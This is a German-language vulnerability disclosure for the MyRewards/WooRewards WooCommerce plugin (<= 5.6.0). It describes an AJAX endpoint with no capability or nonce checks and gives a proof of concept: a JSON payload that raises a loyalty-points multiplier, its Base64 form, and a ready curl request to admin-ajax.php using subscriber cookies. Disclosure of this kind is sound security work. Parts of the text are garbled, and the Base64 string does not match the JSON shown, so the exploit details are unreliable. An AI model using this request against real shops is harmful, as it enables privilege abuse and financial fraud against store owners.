
Fehlende Autorisierung / Defekte Zugriffskontrolle im Plugin - MyRewards – Loyalty Points and Rewards for WooCommerce
Haftungsausschluss: Dieses Repository wurde nur für Bildungszwecke und ethische Offenlegung erstellt. Die Schwachstelle wurde verantwortungsvoll an den Anbieter gemeldet und behoben. Verwenden Sie diese Informationen nicht, um Systeme ohne entsprechende Autorisierung auszunutzen.
Eine kritische Schwachstelle in der Zugriffskontrolle / Privilegienausweitung wurde im MyRewards (WooRewards)-Plugin für WooCommerce (Versionen <= 5.6.0) entdeckt. Dieser Fehler erlaubt jedem angemeldeten Benutzer, auch solchen mit minimalen Rechten wie Abonnenten, die Autorisierung zu umgehen und sensible Shop-Belohnungsregeln zu ändern.
Durch Ausnutzung dieser Schwachstelle kann ein Angreifer seinen Treuepunkte-Multiplikator auf einen astronomischen Wert (z.B. 999.999.999) erhöhen, wodurch er aus einem einzigen kleinen Kauf massive Punkte ansammeln und gegen Gutscheine oder kostenlose Produkte einlösen kann, was zu direkten finanziellen Verlusten für den Shop führt.
<= 5.6.0Die Hauptursache dieser Schwachstelle liegt im Versäumnis, Capability Checks oder CSRF-Schutz auf kritischen AJAX-Endpunkten zu implementieren, die Datenbankänderungen verwalten.
1. Nicht autorisierte AJAX-Registrierung:
Das Plugin verwendet eine generische Controller-Klasse (EditlistControler) zur Verwaltung von CRUD-Operationen. In editlistcontroler.php registriert es die AJAX-Aktion editlist mit dem Hook gwp_ajax_, wodurch sie ALLEN angemeldeten Benutzern unabhängig von ihrer Rolle zur Verfügung steht:
add_action('wp_ajax_lws_adminpanel_editlist', array($this, 'ajax'));
2. Fehlen der Autorisierung und Nonce-Validierung:
Innerhalb der Methoden ajax() und accept() verarbeitet der Code zustandsändernde Anfragen (z.B. put zum Aktualisieren, del zum Löschen) ausschließlich auf Basis der Benutzereingabe. Es fehlen vollständig Aufrufe von current_user_can() und check_ajax_referer(), was bedeutet, dass nicht überprüft wird, ob der Benutzer über manage_woocommerce-Rechte verfügt.
3. Gefährliche Payload-Verarbeitung:
Der Endpunkt akzeptiert einen Base64-kodierten JSON-String über den Parameter line, der dekodiert und direkt an die Methode EventList::write() übergeben wird, wodurch die bösartigen Einstellungen direkt in der Datenbank gespeichert werden:
$data = json_decode(base64_decode($line), true);
$this->m_Source->write($data);
Die folgenden Schritte zeigen, wie ein authentifizierter Abonnent diesen Fehler ausnutzen kann.
subscriber-Ebene.101) ist sequentiell und leicht durch Beobachtung der AJAX-Post-Antworten ermittelbar.Wir möchten den Punkte-Multiplikator der Regel-ID 101 auf 999,999,999,999,999 aktualisieren.
Initial JSON
{
"post_id":"101",
"wre_type":"lws_woorewards_events_orderamount",
"lws_woorewards_events_orderamount_multiplier": "999999999999999"
}
Base64-kodiert ('value of line')
eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0
Führen Sie die folgende CURL-Anfrage als Benutzer mit niedrigen Rechten aus:
curl -i -X POST 'http://TARGET_SITE/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
-b '[Subscriber_Cookies_Here]' \
-d 'action=lws_adminpanel_editlist&method=put&id=EventList&line=eyJwb3N0X2lkIjoiMTAxIiwid3JlX3R5cGUiOiJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnQiLCJsd3Nfd29vcmV3YXJkc19ldmVudHNfb3JlZXJhbW91bnRfbWVsdGlwbGl1ciI6ICI5OTk5OTk5OTk5OTk5OTk5In0'
{"status":1} zurück, was die Aktualisierung bestätigt.Um dieses Problem zu beheben, aktualisieren Sie das MyRewards-Plugin auf die neueste gepatchte Version. Der Anbieter hat dies behoben durch:
current_user_can()-Prüfungen im AJAX-Controller zur Überprüfung administrativer Berechtigungen.check_ajax_referer() zur Validierung von Nonces und zur Verhinderung von Cross-Site Request Forgery (CSRF).Ein kurzer Ablauf des Offenlegungsprozesses, um zu zeigen, dass ethische Standards eingehalten wurden: